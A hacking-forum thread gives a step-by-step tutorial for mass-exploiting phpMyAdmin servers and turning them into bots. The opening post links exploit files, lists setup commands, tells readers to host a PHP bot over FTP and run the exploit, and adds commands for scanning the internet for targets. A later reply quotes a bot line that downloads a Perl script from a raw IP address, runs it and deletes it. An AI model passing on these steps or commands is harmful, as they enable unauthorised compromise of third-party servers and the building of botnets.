Thread: [\[TuT\] PMA Tutorial Pull 100s \[TuT\]](#)

FBG Duck - September 6, 2015, 1:48 am

Hi guys today i will teach you how to setup the pma exploit
there are atleast 5k boxes vulnerable out there

Download to exploit files:

<http://ge.tt/3BdPQSN2/v/0>

Tutorial :

WARNING IF YOU ARE NOT USING CENTOS REPLACE yum WITH apt-get

step 1: yum install nano gcc perl cpan

step 2: Download and put the files on your server

step 3: yum install vsftpd

step 4: cpan Parallel::ForkManager

step 5: yum install perl-Time*

step 6: cpan URI

step 7: cpan LWP

step 8: Find a php bot from pastebin and edit the settings and put it in /var/ftp on your server

step 9: service vsftpd start

step 10: edit x and search for \$ftp change the link to your ftp link

step 11: Your done setting up now you have to exploit by running : perl x -x

Scanning for your own list:

```
./ss 80 -a aclass -i eth0 -s 10
```

```
./zmeu
```

Thanks for viewing ?????

SIM-2198759 - September 6, 2015, 2:39 am

Nice tut, i guess, I mean, at least with this one you tell people how to scan their own lists, but there

plenty of PMA Tutorials out there.

(Also, didn't you make a PMA tutorial not so long ago too..?)

VortexHF™ - September 6, 2015, 2:42 am

Nice tutorial but l'exploit is a shit ...

FBG Duck - September 6, 2015, 3:48 am

ya an old shitty one xD this one is updated i like you you seem somewhat intellegent and
understood why i didnt like the lizkebab files being public

T3HJ0K3R - September 6, 2015, 3:58 am

Thanks for the tutorial bro!

Despite the hundreds of PMA tutorials you just felt like making another Tut thread. Good one to get your post count up.

<https://hackforums.net/showthread.php?tid=4914715>

List goes on

Thuggin - September 6, 2015, 11:33 am

Why do people still make tuts for this there is millions on them and this one is going to change nothing.

SIM-2198759 - September 6, 2015, 11:54 am

I was kinda happy when the pastebins got removed because all the real retards were trying to set it up at that point, but it doesn't phaze me all that much, Its just another bot that got leaked, There will be plenty more over time.

Gigabot - September 6, 2015, 12:05 pm

Lol....how many pma tuts does this make??? 5+??

This FOR SUREEE doesnt pull 5k anything and they definitely arent "boxes"...

From your picture i can tell you stay on twitter and are a 15 year old xbox dweller.

tiendat - September 8, 2015, 9:08 am

Can sb give pbot.php still working !!!!

Private666 - September 8, 2015, 4:03 pm

Imao PMA is completely dead stop making tuts

Nachoss - September 8, 2015, 8:03 pm

(Sep 8, 2015 04:03 PM)Syncing Wrote: [\[CITE\]](#) Imao PMA is completely dead stop making tuts Nothing is ever "completely" dead.

?Genocide(X) - September 8, 2015, 8:20 pm

(Sep 8, 2015 04:03 PM)Syncing Wrote: [\[CITE\]](#) Imao PMA is completely dead stop making tuts Given the right list or for your interest the right range to scan you can still get some decent power

out of PMA. Ppl taking old lists and expect some sort of miracle for it to work will lead ppl like you to said its dead. Its not I can assure you its not.

DahPlug - August 4, 2016, 8:46 am

Nice perl bot lol.

```
system("wget --quiet http://82.192.80.199/bot.pl; perl bot.pl; rm bot.pl -rf");
```

```

Thanks for that info. I bet his server is still up 1 year later. -_-

Skinny Penis - August 4, 2016, 11:02 pm

Lmfao isn't "FBG Duck", XoRa aka ShAy aka AntiPeace wannabe?

Kashmiri Hunter - August 16, 2016, 7:54 am

Thanks,I Will Try it.

Regards !

PoisonForce - November 13, 2016, 8:20 am

I keep having a error ? ? ?

[+] CRITICAL! Paths file does not seem to exist: .dsf

What do I need to do?

qbotwithasupermicroontop - November 14, 2016, 12:12 am

wtf quin you're still alive??
